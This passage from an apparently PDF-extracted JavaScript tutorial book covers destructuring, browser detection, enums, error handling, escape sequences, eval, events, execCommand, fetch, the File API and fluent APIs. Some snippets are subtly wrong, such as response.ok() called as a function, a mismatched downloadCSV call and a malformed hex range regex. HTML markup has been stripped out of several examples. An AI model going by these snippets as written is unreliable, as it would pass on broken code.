var arr = [1, 2, [3, 4], 5];

var [a, , [b, c], d] = arr;

console.log(a, b, c, d); // 1 3 4 5

Destructuring is not just limited to a single pattern, we can have arrays in it, with n-levels of nesting. Similarly we can destructure arrays with objects and vice-versa.

Arrays Within Object

var obj = { a: 1, b: [2, 3] };

https://riptutorial.com/ 242 var { a: x1, b: [x2, x3] } = obj;

console.log(x1, x2, x3); // 1 2 3

Objects Within Arrays

var arr = [1, 2 , {a : 3}, 4];

var [x1, x2 , {a : x3}, x4] = arr;

console.log(x1, x2, x3, x4);

Read Destructuring assignment online: https://riptutorial.com/javascript/topic/616/destructuring- assignment

https://riptutorial.com/ 243 Chapter 37: Detecting browser

Introduction

Browsers, as they have evolved, offered more features to Javascript. But often these features are not available in all browsers. Sometimes they may be available in one browser, but yet to be released on other browsers. Other times, these features are implemented differently by different browsers. Browser detection becomes important to ensure that the application you develop runs smoothly across different browsers and devices.

Remarks

Use feature detection when possible.

There are some reasons to use browser detection (e.g. Giving a user directions on how to install a browser plugin or clear their cache), but generally feature detection is considered best practice. If you are using browser detection be sure that it is absolutely nesesary.

Modernizr is a popular, lightweight JavaScript library that makes feature detection easy.

Examples

Feature Detection Method

This method looks for the existence of browser specific things. This would be more difficult to spoof, but is not guaranteed to be future proof.

// Opera 8.0+ var isOpera = (!!window.opr && !!opr.addons) || !!window.opera || navigator.userAgent.indexOf(' OPR/') >= 0;

// Firefox 1.0+ var isFirefox = typeof InstallTrigger !== 'undefined';

// At least Safari 3+: "[object HTMLElementConstructor]" var isSafari = Object.prototype.toString.call(window.HTMLElement).indexOf('Constructor') > 0;

// Internet Explorer 6-11 var isIE = /*@cc_on!@*/false || !!document.documentMode;

// Edge 20+ var isEdge = !isIE && !!window.StyleMedia;

// Chrome 1+ var isChrome = !!window.chrome && !!window.chrome.webstore;

// Blink engine detection var isBlink = (isChrome || isOpera) && !!window.CSS;

https://riptutorial.com/ 244 Successfully tested in:

• Firefox 0.8 - 44 • Chrome 1.0 - 48 • Opera 8.0 - 34 • Safari 3.0 - 9.0.3 • IE 6 - 11 • Edge - 20-25

Credit to Rob W

Library Method

An easier approach for some would be to use an existing JavaScript library. This is because it can be tricky to guarantee browser detection is correct, so it can make sense to use a working solution if one is available.

One popular browser-detection library is Bowser.

Usage example:

if (bowser.msie && bowser.version >= 6) { alert('IE version 6 or newer'); } else if (bowser.firefox) { alert('Firefox'); } else if (bowser.chrome) { alert('Chrome'); } else if (bowser.safari) { alert('Safari'); } else if (bowser.iphone || bowser.android) { alert('Iphone or Android'); }

User Agent Detection

This method gets the user agent and parses it to find the browser. The browser name and version are extracted from the user agent through a regex. Based on these two, the is returned.

The four conditional blocks following the user agent matching code are meant to account for differences in the user agents of different browsers. For example, in case of opera, since it uses Chrome rendering engine, there is an additional step of ignoring that part.

Note that this method can be easily spoofed by a user.

navigator.sayswho= (function(){ var ua= navigator.userAgent, tem, M= ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || []; https://riptutorial.com/ 245 if(/trident/i.test(M[1])){ tem= /\brv[ :]+(\d+)/g.exec(ua) || []; return 'IE '+(tem[1] || ''); } if(M[1]=== 'Chrome'){ tem= ua.match(/\b(OPR|Edge)\/(\d+)/); if(tem!= null) return tem.slice(1).join(' ').replace('OPR', 'Opera'); } M= M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?']; if((tem= ua.match(/version\/(\d+)/i))!= null) M.splice(1, 1, tem[1]); return M.join(' '); })();

Credit to kennebec

Read Detecting browser online: https://riptutorial.com/javascript/topic/2599/detecting-browser

https://riptutorial.com/ 246 Chapter 38: Enumerations

Remarks

In computer programming, an enumerated type (also called enumeration or enum [..]) is a data type consisting of a set of named values called elements, members or enumerators of the type. The enumerator names are usually identifiers that behave as constants in the language. A variable that has been declared as having an enumerated type can be assigned any of the enumerators as a value.

Wikipedia: Enumerated type

JavaScript is weakly typed, variables are not declared with a type beforehand and it does not have a native enum data type. Examples provided here may include different ways to simulate enumerators, alternatives and possible trade-offs.

Examples

Enum definition using Object.freeze()

5.1

JavaScript does not directly support enumerators but the functionality of an enum can be mimicked.

// Prevent the enum from being changed const TestEnum = Object.freeze({ One:1, Two:2, Three:3 }); // Define a variable with a value from the enum var x = TestEnum.Two; // Prints a value according to the variable's enum value switch(x) { case TestEnum.One: console.log("111"); break;

case TestEnum.Two: console.log("222"); }

The above enumeration definition, can also be written as follows:

var TestEnum = { One: 1, Two: 2, Three: 3 } Object.freeze(TestEnum);

After that you can define a variable and print like before. https://riptutorial.com/ 247 Alternate definition

The Object.freeze() method is available since version 5.1. For older versions, you can use the following code (note that it also works in versions 5.1 and later):

var ColorsEnum = { WHITE: 0, GRAY: 1, BLACK: 2 } // Define a variable with a value from the enum var currentColor = ColorsEnum.GRAY;

Printing an enum variable

After defining an enum using any of the above ways and setting a variable, you can print both the variable's value as well as the corresponding name from the enum for the value. Here's an example:

// Define the enum var ColorsEnum = { WHITE: 0, GRAY: 1, BLACK: 2 } Object.freeze(ColorsEnum); // Define the variable and assign a value var color = ColorsEnum.BLACK; if(color == ColorsEnum.BLACK) { console.log(color); // This will print "2" var ce = ColorsEnum; for (var name in ce) { if (ce[name] == ce.BLACK) console.log(name); // This will print "BLACK" } }

Implementing Enums Using Symbols

As ES6 introduced Symbols, which are both unique and immutable primitive values that may be used as the key of an Object property, instead of using strings as possible values for an enum, it's possible to use symbols.

// Simple symbol const newSymbol = Symbol(); typeof newSymbol === 'symbol' // true

// A symbol with a label const anotherSymbol = Symbol("label");

// Each symbol is unique const yetAnotherSymbol = Symbol("label"); yetAnotherSymbol === anotherSymbol; // false

const Regnum_Animale = Symbol(); const Regnum_Vegetabile = Symbol(); const Regnum_Lapideum = Symbol(); https://riptutorial.com/ 248

function describe(kingdom) {

switch(kingdom) {

case Regnum_Animale: return "Animal kingdom"; case Regnum_Vegetabile: return "Vegetable kingdom"; case Regnum_Lapideum: return "Mineral kingdom"; }

}

describe(Regnum_Vegetabile); // Vegetable kingdom

The Symbols in ECMAScript 6 article covers this new primitive type more in detail.

Automatic Enumeration Value

5.1

This Example demonstrates how to automatically assign a value to each entry in an enum list. This will prevent two enums from having the same value by mistake. NOTE: Object.freeze browser support

var testEnum = function() { // Initializes the enumerations var enumList = [ "One", "Two", "Three" ]; enumObj = {}; enumList.forEach((item, index)=>enumObj[item] = index + 1);

// Do not allow the object to be changed Object.freeze(enumObj); return enumObj; }();

console.log(testEnum.One); // 1 will be logged

var x = testEnum.Two;

switch(x) { case testEnum.One: console.log("111"); break;

case testEnum.Two: console.log("222"); // 222 will be logged break; }

https://riptutorial.com/ 249 Read Enumerations online: https://riptutorial.com/javascript/topic/2625/enumerations

https://riptutorial.com/ 250 Chapter 39: Error Handling

Syntax

• try { … } catch (error) { … } • try { … } finally { … } • try { … } catch (error) { … } finally { … } • throw new Error([message]); • throw Error([message]);

Remarks try allows you to define a block of code to be tested for errors while it is being executed. catch allows you to define a block of code to be executed, if an error occurs in the try block. finally lets you execute code regardless of the result. Beware though, the control flow statements of try and catch blocks will be suspended until the execution of the finally block finishes.

Examples

Interaction with Promises

6

Exceptions are to synchronous code what rejections are to promise-based asynchronous code. If an exception is thrown in a promise handler, its error will be automatically caught and used to reject the promise instead.

Promise.resolve(5) .then(result => { throw new Error("I don't like five"); }) .then(result => { console.info("Promise resolved: " + result); }) .catch(error => { console.error("Promise rejected: " + error); });

Promise rejected: Error: I don't like five

7

The async functions proposal—expected to be part of ECMAScript 2017—extends this in the https://riptutorial.com/ 251 opposite direction. If you await a rejected promise, its error is raised as an exception:

async function main() { try { await Promise.reject(new Error("Invalid something")); } catch (error) { console.log("Caught error: " + error); } } main();

Caught error: Invalid something

Error objects

Runtime errors in JavaScript are instances of the Error object. The Error object can also be used as-is, or as the base for user-defined exceptions. It's possible to throw any type of value - for example, strings - but you're strongly encouraged to use Error or one of it's derivatives to ensure that debugging information -- such as stack traces -- is correctly preserved.

The first parameter to the Error constructor is the human-readable error message. You should try to always specify a useful error message of what went wrong, even if additional information can be found elsewhere.

try { throw new Error('Useful message'); } catch (error) { console.log('Something went wrong! ' + error.message); }

Order of operations plus advanced thoughts

Without a try catch block, undefined functions will throw errors and stop execution:

undefinedFunction("This will not get executed"); console.log("I will never run because of the uncaught error!");

Will throw an error and not run the second line:

// Uncaught ReferenceError: undefinedFunction is not defined

You need a try catch block, similar to other languages, to ensure you catch that error so code can continue to execute:

try { undefinedFunction("This will not get executed"); } catch(error) { console.log("An error occured!", error); https://riptutorial.com/ 252 } finally { console.log("The code-block has finished"); } console.log("I will run because we caught the error!");

Now, we've caught the error and can be sure that our code is going to execute

// An error occured! ReferenceError: undefinedFunction is not defined(…) // The code-block has finished // I will run because we caught the error!

What if an error occurs in our catch block!?

try { undefinedFunction("This will not get executed"); } catch(error) { otherUndefinedFunction("Uh oh... "); console.log("An error occured!", error); } finally { console.log("The code-block has finished"); } console.log("I won't run because of the uncaught error in the catch block!");

We won't process the rest of our catch block, and execution will halt except for the finally block.

// The code-block has finished // Uncaught ReferenceError: otherUndefinedFunction is not defined(…)

You could always nest your try catch blocks.. but you shouldn't because that will get extremely messy..

try { undefinedFunction("This will not get executed"); } catch(error) { try { otherUndefinedFunction("Uh oh... "); } catch(error2) { console.log("Too much nesting is bad for my heart and soul..."); } console.log("An error occured!", error); } finally { console.log("The code-block has finished"); } console.log("I will run because we caught the error!");

Will catch all errors from the previous example and log the following:

//Too much nesting is bad for my heart and soul... //An error occured! ReferenceError: undefinedFunction is not defined(…) //The code-block has finished //I will run because we caught the error!

So, how can we catch all errors!? For undefined variables and functions: you can't. https://riptutorial.com/ 253 Also, you shouldn't wrap every variable and function in a try/catch block, because these are simple examples that will only ever occur once until you fix them. However, for objects, functions and other variables that you know exist, but you don't know whether their properties or sub-processes or side-effects will exist, or you expect some error states in some circumstances, you should abstract your error handling in some sort of manner. Here is a very basic example and implementation.

Without a protected way to call untrusted or exception throwing methods:

function foo(a, b, c) { console.log(a, b, c); throw new Error("custom error!"); } try { foo(1, 2, 3); } catch(e) { try { foo(4, 5, 6); } catch(e2) { console.log("We had to nest because there's currently no other way..."); } console.log(e); } // 1 2 3 // 4 5 6 // We had to nest because there's currently no other way... // Error: custom error!(…)

And with protection:

function foo(a, b, c) { console.log(a, b, c); throw new Error("custom error!"); } function protectedFunction(fn, ...args) { try { fn.apply(this, args); } catch (e) { console.log("caught error: " + e.name + " -> " + e.message); } }

protectedFunction(foo, 1, 2, 3); protectedFunction(foo, 4, 5, 6);

// 1 2 3 // caught error: Error -> custom error! // 4 5 6 // caught error: Error -> custom error!

We catch errors and still process all the expected code, though with a somewhat different syntax. Either way will work, but as you build more advanced applications you will want to start thinking about ways to abstract your error handling.

Error types https://riptutorial.com/ 254 There are six specific core error constructors in JavaScript:

• EvalError - creates an instance representing an error that occurs regarding the global function eval().

• InternalError - creates an instance representing an error that occurs when an internal error in the JavaScript engine is thrown. E.g. "too much recursion". (Supported only by Mozilla Firefox)

• RangeError - creates an instance representing an error that occurs when a numeric variable or parameter is outside of its valid range.

• ReferenceError - creates an instance representing an error that occurs when dereferencing an invalid reference.

• SyntaxError - creates an instance representing a syntax error that occurs while parsing code in eval().

• TypeError - creates an instance representing an error that occurs when a variable or parameter is not of a valid type.

• URIError - creates an instance representing an error that occurs when encodeURI() or decodeURI() are passed invalid parameters.

If you are implementing error handling mechanism you can check which kind of error you are catching from code.

try { throw new TypeError(); } catch (e){ if(e instanceof Error){ console.log('instance of general Error constructor'); }

if(e instanceof TypeError) { console.log('type error'); } }

In such case e will be an instance of TypeError. All error types extend the base constructor Error, therefore it's also an instance of Error.

Keeping that in mind shows us that checking e to be an instance of Error is useless in most cases.

Read Error Handling online: https://riptutorial.com/javascript/topic/268/error-handling

https://riptutorial.com/ 255 Chapter 40: Escape Sequences

Remarks

Not everything that starts with a backslash is an escape sequence. Many characters are just not useful to escape sequences, and will simply cause a preceding backslash to be ignored.

"\H\e\l\l\o" === "Hello" // true

On the other hand, some characters like "u" and "x" will cause a syntax error when used improperly after a backslash. The following is not a valid string literal because it contains the Unicode escape sequence prefix \u followed by a character that is not a valid hexadecimal digit nor a curly brace:

"C:\Windows\System32\updatehandlers.dll" // SyntaxError

A backslash at the end of a line inside a string does not introduce an escape sequence, but indicates line continuation, i.e.

"contin\ uation" === "continuation" // true

Similarity to other formats

While escape sequences in JavaScript bear resemblance to other languages and formats, like C++, Java, JSON, etc. there will often be critical differences in the details. When in doubt, be sure to test that your code behaves as expected, and consider checking the language specification.

Examples

Entering special characters in strings and regular expressions

Most printable characters can be included in string or regular expression literals just as they are, e.g.

var str = "ポケモン"; // a valid string var regExp = /[Α-Ωα-ω]/; // matches any Greek letter without diacritics

In order to add arbitrary characters to a string or regular expression, including non-printable ones, one has to use escape sequences. Escape sequences consist of a backslash ("\") followed by one or more other characters. To write an escape sequence for a particular character, one typically (but not always) needs to know its hexadecimal character code.

https://riptutorial.com/ 256 JavaScript provides a number of different ways to specify escape sequences, as documented in the examples in this topic. For instance, the following escape sequences all denote the same character: the line feed (Unix newline character), with character code U+000A.

• \n • \x0a • \u000a • \u{a} new in ES6, only in strings • \012 forbidden in string literals in strict mode and in template strings • \cj only in regular expressions

Escape sequence types Single character escape sequences

Some escape sequences consist of a backslash followed by a single character.

For example, in alert("Hello\nWorld");, the escape sequence \n is used to introduce a newline in the string parameter, so that the words "Hello" and "World" are displayed in consecutive lines.

Escape sequence Character Unicode

\b (only in strings, not in regular expressions) backspace U+0008

\t horizontal tab U+0009

\n line feed U+000A

\v vertical tab U+000B

\f form feed U+000C

\r carriage return U+000D

Additionally, the sequence \0, when not followed by a digit between 0 and 7, can be used to escape the null character (U+0000).

The sequences \\, \' and \" are used to escape the character that follows the backslash. While similar to non-escape sequences, where the leading backslash is simply ignored (i.e. \? for ?), they are explicitly treated as single character escape sequences inside strings as per the specification. Hexadecimal escape sequences

Characters with codes between 0 and 255 can be represented with an escape sequence where \x is followed by the 2-digit hexadecimal character code. For example, the non-breaking space https://riptutorial.com/ 257 character has code 160 or A0 in base 16, and so it can be written as \xa0.

var str = "ONE\xa0LINE"; // ONE and LINE with a non-breaking space between them

For hex digits above 9, the letters a to f are used, in lowercase or uppercase without distinction.

var regExp1 = /[\x00-xff]/; // matches any character between U+0000 and U+00FF var regExp2 = /[\x00-xFF]/; // same as above

4-digit Unicode escape sequences

Characters with codes between 0 and 65535 (216 - 1) can be represented with an escape sequence where \u is followed by the 4-digit hexadecimal character code.

For example, the Unicode standard defines the right arrow character ("→") with the number 8594, or 2192 in hexadecimal format. So an escape sequence for it would be \u2192.

This produces the string "A → B":

var str = "A \u2192 B";

For hex digits above 9, the letters a to f are used, in lowercase or uppercase without distinction. Hexadecimal codes shorter than 4 digits must be left-padded with zeros: \u007A for the small letter "z". Curly bracket Unicode escape sequences

6

ES6 extends Unicode support to the full code range from 0 to 0x10FFFF. In order to escape characters with code greater than 216 - 1, a new syntax for escape sequences was introduced:

\u{???}

Where the code in curly braces is hexadecimal representation of the code point value, e.g.

alert("Look! \u{1f440}"); // Look!

In the example above, the code 1f440 is the hexadecimal representation of the character code of the Unicode Character Eyes.

Note that the code in curly braces may contain any number of hex digits, as long the value does not exceed 0x10FFFF. For hex digits above 9, the letters a to f are used, in lowercase or uppercase without distinction.

https://riptutorial.com/ 258 Unicode escape sequences with curly braces only work inside strings, not inside regular expressions! Octal escape sequences

Octal escape sequences are deprecated as of ES5, but they are still supported inside regular expressions and in non-strict mode also inside non-template strings. An octal escape sequence consists of one, two or three octal digits, with value between 0 and 3778 = 255.

For example, the capital letter "E" has character code 69, or 105 in base 8. So it can be represented with the escape sequence \105:

/\105scape/.test("Fun with Escape Sequences"); // true

In strict mode, octal escape sequences are not allowed inside strings and will produce a syntax error. It is worth to note that \0, unlike \00 or \000, is not considered an octal escape sequence, and is thus still allowed inside strings (even template strings) in strict mode. Control escape sequences

Some escape sequences are only recognized inside regular expression literals (not in strings). These can be used to escape characters with codes between 1 and 26 (U+0001–U+001A). They consist of a single letter A–Z (case makes no difference) preceded by \c. The alphabetic position of the letter after \c determines the character code.

For example, in the regular expression

`/\cG/`

The letter "G" (the 7th letter in the alphabet) refers to the character U+0007, and thus

`/\cG`/.test(String.fromCharCode(7)); // true

Read Escape Sequences online: https://riptutorial.com/javascript/topic/5444/escape-sequences

https://riptutorial.com/ 259 Chapter 41: Evaluating JavaScript

Introduction

In JavaScript, the eval function evaluates a string as if it were JavaScript code. The return value is the result of the evaluated string, e.g. eval('2 + 2') returns 4. eval is available in the global scope. The lexical scope of the evaluation is the local scope unless invoked indirectly (e.g. var geval = eval; geval(s);).

The use of eval is strongly discouraged. See the Remarks section for details.

Syntax

• eval(string);

Parameters

Parameter Details

string The JavaScript to be evaluated.

Remarks

The use of eval is strongly discouraged; in many scenarios it presents a security vulnerability.

eval() is a dangerous function, which executes the code it's passed with the privileges of the caller. If you run eval() with a string that could be affected by a malicious party, you may end up running malicious code on the user's machine with the permissions of your webpage / extension. More importantly, third party code can see the scope in which eval() was invoked, which can lead to possible attacks in ways to which the similar Function is not susceptible.

MDN JavaScript Reference

Additionally:

• Exploiting JavaScript's eval() method • What are the security issues with “eval()” in JavaScript?

Examples

Introduction https://riptutorial.com/ 260 You can always run JavaScript from inside itself, although this is strongly discouraged due to the security vulnerabilities it presents (see Remarks for details).

To run JavaScript from inside JavaScript, simply use the below function:

eval("var a = 'Hello, World!'");

Evaluation and Math

You can set a variable to something with the eval() function by using something similar to the below code:

var x = 10; var y = 20; var a = eval("x * y") + "
"; var b = eval("2 + 2") + "
"; var c = eval("x + 17") + "
";

var res = a + b + c;

The result, stored in the variable res, will be:

200 4 27

The use of eval is strongly discouraged. See the Remarks section for details.

Evaluate a string of JavaScript statements

var x = 5; var str = "if (x == 5) {console.log('z is 42'); z = 42;} else z = 0; ";

console.log("z is ", eval(str));

The use of eval is strongly discouraged. See the Remarks section for details.

Read Evaluating JavaScript online: https://riptutorial.com/javascript/topic/7080/evaluating- javascript

https://riptutorial.com/ 261 Chapter 42: Events

Examples

Page, DOM and Browser loading

This is an example to explain the variations of load events.

1. onload event

In this case, the message is logged once all the contents of the page including the images and stylesheets(if any) are completely loaded.

2. DOMContentLoaded event

document.addEventListener("DOMContentLoaded", function(event) { console.log("Hello! I am loaded"); });

In the above code, the message is logged only after the DOM/document is loaded (ie:once the DOM is constructed).

3. Self-invoking anonymous function

(function(){ console.log("Hi I am an anonymous function! I am loaded"); })();

Here, the message gets logged as soon as the browser interprets the anonymous function. It means, this function can get executed even before the DOM is loaded.

Read Events online: https://riptutorial.com/javascript/topic/10896/events

https://riptutorial.com/ 262 Chapter 43: execCommand and contenteditable

Syntax

• bool supported = document.execCommand(commandName, showDefaultUI, valueArgument)

Parameters

commandId value

⋮ Inline formatting commands

backColor Color value String

bold

createLink URL String

fontName Font family name

fontSize "1", "2", "3", "4", "5", "6", "7"

foreColor Color value String

strikeThrough

superscript

unlink

⋮ Block formatting commands

delete

"address", "dd", "div", "dt", "h1", "h2", "h3", "h4", "h5", "h6", "p", formatBlock "pre"

forwardDelete

insertHorizontalRule

insertHTML HTML String

insertImage URL String https://riptutorial.com/ 263 commandId value

insertLineBreak

insertOrderedList

insertParagraph

insertText Text string

insertUnorderedList

justifyCenter

justifyFull

justifyLeft

justifyRight

outdent

⋮ Clipboard commands

copy Currently Selected String

cut Currently Selected String

paste

⋮ Miscellaneous commands

defaultParagraphSeparator

redo

selectAll

styleWithCSS

undo

useCSS

Examples

Formatting

Users can add formatting to contenteditable documents or elements using their browser's features, such as common keyboard shortcuts for formatting (Ctrl-B for bold, Ctrl-I for italic, etc.) or by https://riptutorial.com/ 264 dragging and dropping images, links, or markup from the clipboard.

Additionally, developers can use JavaScript to apply formatting to the current selection (highlighted text).

document.execCommand('bold', false, null); // toggles bold formatting document.execCommand('italic', false, null); // toggles italic formatting document.execCommand('underline', false, null); // toggles underline

Listening to Changes of contenteditable

Events that work with most form elements (e.g., change, keydown, keyup, keypress) do not work with contenteditable.

Instead, you can listen to changes of contenteditable contents with the input event. Assuming contenteditableHtmlElement is a JS DOM object that is contenteditable:

contenteditableHtmlElement.addEventListener("input", function() { console.log("contenteditable element changed"); });

Getting started

The HTML attribute contenteditable provides a simple way to turn a HTML element into a user- editable area

You can edit me!

Native Rich-Text editing

Using JavaScript and execCommandW3C you can additionally pass more editing features to the currently focused contenteditable element (specifically at the caret position or selection).

The execCommand function method accepts 3 arguments

document.execCommand(commandId, showUI, value)

• commandId String. from the list of available **commandId**s (see: Parameters→commandId)

• showUI Boolean (not implemented. Use false) • value String If a command expects a command-related String value, otherwise "". (see: Parameters→value)

Example using the "bold" command and "formatBlock" (where a value is expected):

document.execCommand("bold", false, ""); // Make selected text bold document.execCommand("formatBlock", false, "H2"); // Make selected text Block-level

Quick Start Example: https://riptutorial.com/ 265

Edit me!

document.execCommand("copy") copies the current selection to the clipboard

Read execCommand and contenteditable online: https://riptutorial.com/javascript/topic/1613/execcommand-and-contenteditable

https://riptutorial.com/ 267 Chapter 44: Fetch

Syntax

• promise = fetch(url).then(function(response) {}) • promise = fetch(url, options) • promise = fetch(request)

Parameters

Options Details

The HTTP method to use for the request. ex: GET, POST, PUT, DELETE, HEAD. method Defaults to GET.

headers A Headers object containing additional HTTP headers to include in the request.

body The request payload, can be a string or a FormData object. Defaults to undefined

cache The caching mode. default, reload, no-cache

referrer The referrer of the request.

mode cors, no-cors, same-origin. Defaults to no-cors.

credentials omit, same-origin, include. Defaults to omit.

redirect follow, error, manual. Defaults to follow.

integrity Associated integrity metadata. Defaults to empty string.

Remarks

The Fetch standard defines requests, responses, and the process that binds them: fetching.

Among other interfaces, the standard defines Request and Response Objects, designed to be used for all operations involving network requests.

A useful application of these interfaces is GlobalFetch, which can be used to load remote resources.

For browsers that do not yet support the Fetch standard, GitHub has a polyfill available. In addition, there is also a Node.js implementation that is useful for server/client consistency.

In the absence of cancelable Promises you can't abort the fetch request (github issue). But there is a proposal by the T39 in stage 1 for cancelable promises. https://riptutorial.com/ 268 Examples

GlobalFetch

The GlobalFetch interface exposes the fetch function, which can be used to request resources.

fetch('/path/to/resource.json') .then(response => { if (!response.ok()) { throw new Error("Request failed!"); }

return response.json(); }) .then(json => { console.log(json); });

The resolved value is a Response Object. This Object contains the body of the response, as well as it's status and headers.

Set Request Headers

fetch('/example.json', { headers: new Headers({ 'Accept': 'text/plain', 'X-Your-Custom-Header': 'example value' }) });

POST Data

Posting form data

fetch(`/example/submit`, { method: 'POST', body: new FormData(document.getElementById('example-form')) });

Posting JSON data

fetch(`/example/submit.json`, { method: 'POST', body: JSON.stringify({ email: document.getElementById('example-email').value, comment: document.getElementById('example-comment').value }) });

Send cookies

https://riptutorial.com/ 269 The fetch function does not send cookies by default. There are two possible ways to send cookies:

1. Only send cookies if the URL is on the same origin as the calling script.

fetch('/login', { credentials: 'same-origin' })

2. Always send cookies, even for cross-origin calls.

fetch('https://otherdomain.com/login', { credentials: 'include' })

Getting JSON data

// get some data from stackoverflow fetch("https://api.stackexchange.com/2.2/questions/featured?order=desc&sort=activity&site=stackoverflow")

.then(resp => resp.json()) .then(json => console.log(json)) .catch(err => console.log(err));

Using Fetch to Display Questions from the Stack Overflow API

const url = 'http://api.stackexchange.com/2.2/questions?site=stackoverflow&tagged=javascript';

const questionList = document.createElement('ul'); document.body.appendChild(questionList);

const responseData = fetch(url).then(response => response.json()); responseData.then(({items, has_more, quota_max, quota_remaining}) => { for (const {title, score, owner, link, answer_count} of items) { const listItem = document.createElement('li'); questionList.appendChild(listItem); const a = document.createElement('a'); listItem.appendChild(a); a.href = link; a.textContent = `[${score}] ${title} (by ${owner.display_name || 'somebody'})` } });

Read Fetch online: https://riptutorial.com/javascript/topic/440/fetch

https://riptutorial.com/ 270 Chapter 45: File API, Blobs and FileReaders

Syntax

• reader = new FileReader();

Parameters

Property/Method Description

error A error that occurred while reading the file.

readyState Contains the current state of the FileReader.

result Contains the file contents.

onabort Triggered when the operation is aborted.

onerror Triggered when an error is encountered.

onload Triggered when the file has loaded.

onloadstart Triggered when the file loading operation has started.

onloadend Triggered when the file loading operation has ended.

onprogress Triggered whilst reading a Blob.

abort() Aborts the current operation.

readAsArrayBuffer(blob) Starts reading the file as an ArrayBuffer.

readAsDataURL(blob) Starts reading the file as a data url/uri.

readAsText(blob[, Starts reading the file as a text file. Not able to read binary files. encoding]) Use readAsArrayBuffer instead.

Remarks https://www.w3.org/TR/FileAPI/

Examples

Read file as string

https://riptutorial.com/ 271 Make sure to have a file input on your page:

Then in JavaScript:

document.getElementById('upload').addEventListener('change', readFileAsString) function readFileAsString() { var files = this.files; if (files.length === 0) { console.log('No file is selected'); return; }

var reader = new FileReader(); reader.onload = function(event) { console.log('File content:', event.target.result); }; reader.readAsText(files[0]); }

Read file as dataURL

Reading the contents of a file within a can be accomplished by utilizing the HTML5 File API. First, add an input with type="file" in your HTML:

Next, we're going to add a change listener on the file-input. This examples defines the listener via JavaScript, but it could also be added as attribute on the input element. This listener gets triggered every time a new file has been selected. Within this callback, we can read the file that was selected and perform further actions (like creating an image with the contents of the selected file):

document.getElementById('upload').addEventListener('change', showImage);

function showImage(evt) { var files = evt.target.files;

if (files.length === 0) { console.log('No files selected'); return; }

var reader = new FileReader(); reader.onload = function(event) { var img = new Image(); img.onload = function() { document.body.appendChild(img); }; img.src = event.target.result; }; reader.readAsDataURL(files[0]); }

https://riptutorial.com/ 272 Slice a file

The blob.slice() method is used to create a new Blob object containing the data in the specified range of bytes of the source Blob. This method is usable with File instances too, since File extends Blob.

Here we slice a file in a specific amount of blobs. This is useful especially in cases where you need to process files that are too large to read in memory all in once. We can then read the chunks one by one using FileReader.

/** * @param {File|Blob} - file to slice * @param {Number} - chunksAmount * @return {Array} - an array of Blobs **/ function sliceFile(file, chunksAmount) { var byteIndex = 0; var chunks = [];

for (var i = 0; i < chunksAmount; i += 1) { var byteEnd = Math.ceil((file.size / chunksAmount) * (i + 1)); chunks.push(file.slice(byteIndex, byteEnd)); byteIndex += (byteEnd - byteIndex); }

return chunks; }

Client side csv download using Blob

function downloadCsv() { var blob = new Blob([csvString]); if (window.navigator.msSaveOrOpenBlob){ window.navigator.msSaveBlob(blob, "filename.csv"); } else { var a = window.document.createElement("a");

a.href = window.URL.createObjectURL(blob, { type: "text/plain" }); a.download = "filename.csv"; document.body.appendChild(a); a.click(); document.body.removeChild(a); } } var string = "a1,a2,a3"; downloadCSV(string);

Source reference ; https://github.com/mholt/PapaParse/issues/175

Selecting multiple files and restricting file types

https://riptutorial.com/ 273 The HTML5 file API allows you to restrict which kind of files are accepted by simply setting the accept attribute on a file input, e.g.:

Specifying multiple MIME types separated by a comma (e.g. image/jpeg,image/png) or using wildcards (e.g. image/* for allowing all types of images) give you a quick and powerful way to restrict the type of files you want to select. Here's an example for allowing any image or video:

By default, the file input lets the user select a single file. If you want to enable multiple file selection, simply add the multiple attribute:

You can then read all the selected files via the file input's files array. See read file as dataUrl

Get the properties of the file

If you want to get the properties of the file (like the name or the size) you can do it before using the File Reader. If we have the following html piece of code:

You can access the properties directly like this:

document.getElementById('newFile').addEventListener('change', getFile);

function getFile(event) { var files = event.target.files , file = files[0];

console.log('Name of the file', file.name); console.log('Size of the file', file.size); }

You can also get easily the following attributes: lastModified (Timestamp), lastModifiedDate (Date), and type (File Type)

Read File API, Blobs and FileReaders online: https://riptutorial.com/javascript/topic/2163/file-api-- blobs-and-filereaders

https://riptutorial.com/ 274 Chapter 46: Fluent API

Introduction

Javascript is great for designing fluent API - a consumer-oriented API with focus on developer experience. Combine with language dynamic features for optimal results.

Examples

Fluent API capturing construction of HTML articles with JS

6

class Item { constructor(text, type) { this.text = text; this.emphasis = false; this.type = type; }

toHtml() { return `<${this.type}>${this.emphasis ? '' : ''}${this.text}${this.emphasis ? '' : ''}`; } }

class Section { constructor(header, paragraphs) { this.header = header; this.paragraphs = paragraphs; }

toHtml() { return `

${this.header}

${this.paragraphs.map(p => p.toHtml()).join('')}
`; } }

class List { constructor(text, items) { this.text = text; this.items = items; }

toHtml() { return `

    ${this.text}

    ${this.items.map(i => i.toHtml()).join('')}
`; } }

class Article { constructor(topic) { this.topic = topic; this.sections = []; this.lists = []; https://riptutorial.com/ 275 }

section(text) { const section = new Section(text, []); this.sections.push(section); this.lastSection = section; return this; }

list(text) { const list = new List(text, []); this.lists.push(list); this.lastList = list; return this; }

addParagraph(text) { const paragraph = new Item(text, 'p'); this.lastSection.paragraphs.push(paragraph); this.lastItem = paragraph; return this; }

addListItem(text) { const listItem = new Item(text, 'li'); this.lastList.items.push(listItem); this.lastItem = listItem; return this; }

withEmphasis() { this.lastItem.emphasis = true; return this; }

toHtml() { return `

${this.topic}

${this.sections.map(s => s.toHtml()).join('')}${this.lists.map(l => l.toHtml()).join('')}
`; } }

Article.withTopic = topic => new Article(topic);

This allows the consumer of the API to have a nice-looking article construction, almost a DSL for this purpose, using plain JS:

6

const articles = [ Article.withTopic('Artificial Intelligence - Overview') .section('What is Artificial Intelligence?') .addParagraph('Something something') .addParagraph('Lorem ipsum') .withEmphasis() .section('Philosophy of AI') .addParagraph('Something about AI philosophy') .addParagraph('Conclusion'),

Article.withTopic('JavaScript') .list('JavaScript is one of the 3 languages all web developers must learn:') https://riptutorial.com/ 276 .addListItem('HTML to define the content of web pages') .addListItem('CSS to specify the layout of web pages') .addListItem(' JavaScript to program the behavior of web pages') ];

document.getElementById('content').innerHTML = articles.map(a => a.toHtml()).join('\n');

Read Fluent API online: https://riptutorial.com/javascript/topic/9995/fluent-api

https://riptutorial.com/ 277 Chapter 47: Functional JavaScript

Remarks

